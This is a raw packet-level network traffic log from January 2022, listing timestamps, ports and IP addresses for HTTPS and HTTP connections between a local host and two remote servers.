Jan 14, 2022 01:51:43.849272966 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.849320889 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.849329948 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.849612951 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.849652052 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.849697113 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.849710941 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.849771976 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.849780083 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850048065 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850085974 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850137949 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850150108 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850167036 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850444078 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850483894 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850493908 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850517988 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850533009 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850542068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850645065 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850878000 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850914955 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.850963116 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.850976944 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.851007938 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.851025105 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.851270914 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.851310968 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.851351976 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.851387978 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.979489088 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.027187109 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027208090 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027230024 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027240038 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027312994 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027323961 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027364969 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027379036 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027403116 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027417898 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027426958 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027446032 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027453899 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027467966 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027476072 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027519941 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027519941 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027548075 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027559996 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027599096 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027601957 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027617931 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027627945 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027643919 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027651072 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027683020 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027689934 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027698040 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027709961 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027724028 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027731895 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027745962 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027761936 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027766943 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027779102 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027817965 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027822971 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027837038 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027848959 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027883053 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027901888 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027920008 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027944088 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.027956963 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.027980089 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028013945 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028034925 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028068066 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028076887 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028099060 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028111935 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028122902 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028126955 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028157949 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028165102 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028167963 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028183937 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028191090 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028225899 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028228998 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028253078 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028263092 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028291941 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028517962 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028585911 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028630018 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028644085 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028670073 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028717041 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028750896 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028786898 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028801918 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028814077 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028829098 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028873920 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028908968 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028945923 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.028959036 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.028979063 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029047966 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029083014 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029119968 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029131889 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029171944 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029201031 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029234886 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029275894 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029288054 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029303074 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029354095 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029390097 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029441118 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029457092 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029469013 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029509068 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029541969 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029625893 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029642105 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029654026 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029692888 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029730082 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029772997 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029787064 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029813051 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.029908895 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029973030 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.029993057 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030005932 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030070066 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030118942 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030155897 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030205965 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030219078 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030245066 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030270100 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030306101 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030342102 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030354977 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030388117 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030427933 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030462980 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030500889 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030514956 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030529022 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030582905 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030616999 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030659914 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030673027 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030710936 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030731916 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030766010 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030812025 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030824900 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030849934 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030884981 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030919075 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.030965090 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.030977964 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031021118 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031039953 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031084061 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031126022 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031136990 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031152964 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031205893 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031243086 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031295061 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031306982 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031325102 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031372070 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031407118 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031462908 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031474113 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031487942 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031524897 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031558990 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031589985 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031605005 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031629086 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031682968 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031718016 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.031759024 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.031797886 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.054126024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.054287910 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.054852962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.133435965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.237896919 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.261652946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261719942 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261760950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261799097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261837006 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261835098 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.261868954 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.261914015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261955023 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.261995077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.262006044 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.262031078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.262042046 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.262070894 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.265310049 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.288669109 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.288706064 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.288727999 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.288793087 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.288815975 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.288824081 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.288885117 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293171883 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293185949 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293204069 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293293953 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293307066 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293323994 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293330908 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293376923 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293435097 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293437958 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293468952 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293504000 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293521881 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293538094 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293545961 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293554068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293586969 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293598890 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293605089 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293627977 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293647051 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293656111 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293673038 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293682098 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293698072 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293705940 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293711901 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293746948 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293750048 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293772936 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293790102 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293797016 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293808937 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293813944 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293824911 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293845892 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293863058 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293878078 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293888092 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293919086 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293936014 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293952942 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.293953896 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293965101 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293977022 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.293991089 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294028044 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294043064 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294064045 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294073105 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294086933 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294102907 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294125080 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294151068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294163942 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294188976 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294197083 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294222116 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294234991 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294265985 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294290066 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294302940 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294333935 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294356108 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294389009 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294389963 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294411898 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294425964 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294439077 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294467926 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294517040 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294529915 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294708014 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294747114 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294780970 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294791937 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294820070 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294876099 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294910908 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294943094 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294955969 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.294970036 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.294989109 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295034885 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295069933 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295104027 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295116901 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295140028 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295197964 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295232058 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295278072 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295288086 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295316935 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295371056 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295406103 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295444012 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295456886 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295470953 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295526028 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295557976 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295599937 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295610905 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295622110 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295680046 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295717001 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295749903 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295762062 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295787096 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295838118 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295871019 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295907021 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295919895 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.295933008 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.295989990 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296025038 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296056986 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.296071053 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:44.296093941 CET	49855	443	192.168.2.3	144.76.136.153
